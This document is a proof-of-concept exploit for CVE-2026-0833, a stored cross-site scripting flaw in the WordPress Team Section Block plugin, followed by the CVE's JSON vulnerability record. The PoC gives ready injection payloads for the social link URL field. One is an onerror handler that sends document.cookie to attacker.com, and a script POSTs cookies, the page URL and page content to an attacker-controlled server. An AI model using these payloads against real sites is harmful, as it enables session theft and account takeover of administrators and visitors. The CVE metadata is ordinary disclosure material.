CVE-2026-0833

// CVE-2026-0833 PoC - Stored XSS in Team Section Block plugin // Requires Contributor-level access or higher in WordPress // Step 1: Identify the vulnerable endpoint // The vulnerability exists in the block rendering at: // /wp-content/plugins/team-section/build/render.php#L3 // Step 2: Inject malicious JavaScript via social network URL field // Example payload for the social link URL field: const xssPayload = '<script>alert(document.cookie)</script>'; const xssPayload2 = 'https://evil.com/" onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" '; const xssPayload3 = 'javascript:eval(atob("YWxlcnQoJ1hTUyBFeHBsb2l0ZWQnKQ=="))'; // Step 3: When admin or other users visit the page containing the block, // the malicious script will execute in their browser context // Example exploitation script: const exploitScript = ` (function() { // Steal admin cookies/session fetch('https://attacker-controlled-server/steal', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, url: window.location.href, user: document.body.innerHTML.substring(0, 500) }) }); })(); `; console.log('XSS Payload:', xssPayload); console.log('Exploitation Script prepared for injection');

{"cve": {"id": "CVE-2026-0833", "sourceIdentifier": "[email protected]", "published": "2026-01-17T07:16:02.300", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Team Section Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's block in all versions up to, and including, 2.0.0 due to insufficient input sanitization and output escaping on user-supplied social network link URLs. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Team Section Block para WordPress es vulnerable a cross-site scripting almacenado a través del bloque del plugin en todas las versiones hasta la 2.0.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en las URL de enlaces de redes sociales proporcionadas por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/team-section/tags/1.1.0/build/render.php#L3", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/team-section/trunk/build/render.php#L3", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3436953%40team-section&new=3436953%40team-section&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6348b119-a0dc-40ef-ae62-1de86dcefac7?source=cve", "source": "[email protected]"}]}}